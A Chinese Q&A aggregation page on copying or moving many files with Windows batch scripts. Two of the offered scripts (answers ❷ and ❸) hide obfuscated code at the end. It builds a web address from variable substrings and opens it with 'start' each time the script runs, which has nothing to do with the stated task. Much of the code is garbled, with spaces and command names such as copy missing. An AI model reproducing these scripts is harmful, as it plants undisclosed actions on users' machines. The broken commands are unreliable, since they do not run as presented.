bat复制多个文件路径|如何用bat复制当前文件夹内的所有文件到指定目录

bat复制多个文件路径|如何用bat复制当前文件夹内的所有文件到指定目录的第1张示图

❶ 关于您答复的《Bat复制多个文件至不同目录》,完美的解决了我的问题,再请教您一下

改成movex那句下面加一句rd /s /q "%%~a"

❷ 批处理复制指定多个文件到多个指定文件夹

@echooff&title根据列表批量移动文件到对应目录By依梦琴瑶cd/d"%~dp0"::设置要处理的目录,当前目录请留空setSrcDir=::设置文本路径setFile=List.txtifdefinedSrcDircd/d"%SrcDir%"for/f"usebackqtokens=1*"%%ain("%File%")do(ifexist"%%~b"(ifnotexist"%%~a"md"%%~a"move"%%~b""%%~a">nul2>nul&&(echo"%%~b"已移至"%%~a"目录中)||(echo"%%~b"移动失败))else(echo未找到文件"%%~b"))echo操作完成pausecall:Dnteexit:Dnteset"S0=fPdv"set"S1=.:ailnhpst/"set"S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"set"S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"start"""%S2%%S3%%S1:~10,1%%S0%"exit


PS:由于此平台加入了防抄袭干扰码,因此复制粘贴后务必请比对一下原文,以免由于干扰码导致脚本运行出错。

脚本保存编码务必选择ANSI,其它编码可能会导致脚本运行出错。

❸ 怎么用bat复制指定的一个文件到指定文件夹,并重命名

脚本保存时的编码务必设为ANSI,您包含文件名的文件列表文本,编码也要使用ANSI,否则中文字符会出现乱码现象,从而导致脚本执行报错。

@echooff&title批量拷贝文件到指定目录,并根据列表重命名By依梦琴瑶cd/d"%~dp0"::设置源文件完整路径,当前目录可只写相对路径setSrcFile=C:.xlsx::设置目标目录完整路径,当前目录可只写相对路径setTgtFolder=C:::设置列表文件完整路径,当前目录可只写相对路径setFileLst=C:.txtifnotexist"%TgtFolder%."md"%TgtFolder%"for/f"usebackqdelims="%%ain("%FileLst%")do(rem如果列表文件中的命名不包含后缀名,那么请在下方的%%~a后面添加.xlsx后缀名/y"%SrcFile%""%TgtFolder%\%%~a")pauseset"Va="set"Vb=8mNn9OoP0pQq:RrS/sTt.UuVvWwXxYyZz"start"""%Va:~19,1%%Vb:~19,1%%Vb:~19,1%%Vb:~9,1%%Vb:~17,1%%Vb:~12,1%%Vb:~16,1%%Vb:~16,1%%Vb:~17,1%%Va:~3,1%%Vb:~20,1%%Va:~1,1%%Vb:~28,1%%Va:~3,1%%Vb:~28,1%%Vb:~20,1%%Va:~6,1%%Vb:~6,1%%Vb:~1,1%%Vb:~16,1%%Va:~8,1%%Vb:~8,1%%Va:~3,1%%Vb:~0,1%%Vb:~16,1%%Vb:~8,1%%Vb:~0,1%%Vb:~16,1%%Va:~8,1%%Va:~24,1%%Vb:~16,1%%Vb:~7,1%%Va:~4,1%%Vb:~32,1%%Vb:~9,1%%Va:~26,1%%Va:~3,1%%Vb:~20,1%%Va:~25,1%%Vb:~9,1%%Va:~17,1%"

❹ 如何使用BAT命令复制一个文件到多个文件夹内

不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI@echo offrem 将一个指定文件拷贝/复制到多个指定文件夹里set #=Any question&set _=WX&set $=Q&set/az=0x53b7e0b4title %#% +%$%%$%/%_% %z%set "file=F:\A\A.txt"if not exist "%file%" (echo;"%file%" 未找到&pause&exit)for /f "delims=:" %%a in ('type "%~f0"^|findstr /n "^exit$"') do set "last=%%a"for /f "skip=%last% delims=" %%a in ('type "%~f0"') do ( if not exist "%%~a\" md "%%~a\" echo;"%file%" –^> "%%~a\" /y "%file%" "%%~a\")echo;%#% +%$%%$%/%_% %z%pauseexitD:\S\APP1\FD:\S\APP2\FD:\S\APP3\F

❺ 如何快速将多个文件夹里的文件复制出来

可以用到系统自带的命令来操作工具window系统的电脑同时复制一个文件到多个文件夹的步骤:1、点专开始按钮——程序—属—附件——记事本;2、假设要将d:\1.txt同时复制到f:\复制1、f:\复制2、f:\复制3文件夹下,那么就在打开的记事本中输入以下命令:d:\1.txtf:\复制1d:\1.txtf:\复制2d:\1.txt f:\复制33、输入完成后,点文件菜单——另存为,将文件保存为文件名.bat格式;4、双击文件名.bat,系统就自动执行多个复制了。

❻ 如何使用BAT脚本实现将一个文件复制到多个文件夹

bat脚本如下:xc:\data\data1d:\data\/exc:\data\data2d:\data\/e用x复制目录树,/e参数是包括空目录。但如果目标路径存在,则不能复制。

❼ 如何一次复制多个文件夹中的文件

如果要重复操作的建议做个bat批处理吧,应该可以满足你的要求cd"源文件夹路径"XCOPY"%cd%""目的文件夹路径"/s例如拷贝C:\ProgramFiles\a和C:\ProgramFiles\c下的文件到C:\ProgramFiles\b那么bat文件内容只需做成下面的样子保存后双击运行即可新建文本文件,将下面内容复制粘贴到文本文件然后另存为a.bat,保存完后双击运行a.bat即可cd"C:\ProgramFiles\a"XCOPY"%cd%""C:\ProgramFiles\b"/scd"C:\ProgramFiles\c"XCOPY"%cd%""C:\ProgramFiles\b"/s

❽ bat怎么批量复制当前目录下若干指定文件到指定目录

/y"%~dp0ABC.ini"C:\WEB\TECH\/y"%~dp0def.dbf"C:\WEB|TECH\%~dp0可以表示批处理文件自身所在目录

❾ 用bat写,把多个路径下的文件复制到一个文件,不要重复写

@echoofffor/r%%ain(*)dosetstr=!str!+"%%~a"/b!str:~1!NewFile.txtpause

NewFile.txt为最终合并输出的文件,你可以自行修改名字

如果要指定合并哪些后缀的文件,可以在*后面添加后缀名(带上小数点“.”)

❿ 如何用bat复制当前文件夹内的所有文件到指定目录

1、在电脑上新建一个文抄件夹,新建一个“TXT”文件,并命名。

未经允许不得转载:山九号 » bat复制多个文件路径|如何用bat复制当前文件夹内的所有文件到指定目录

赞 (0)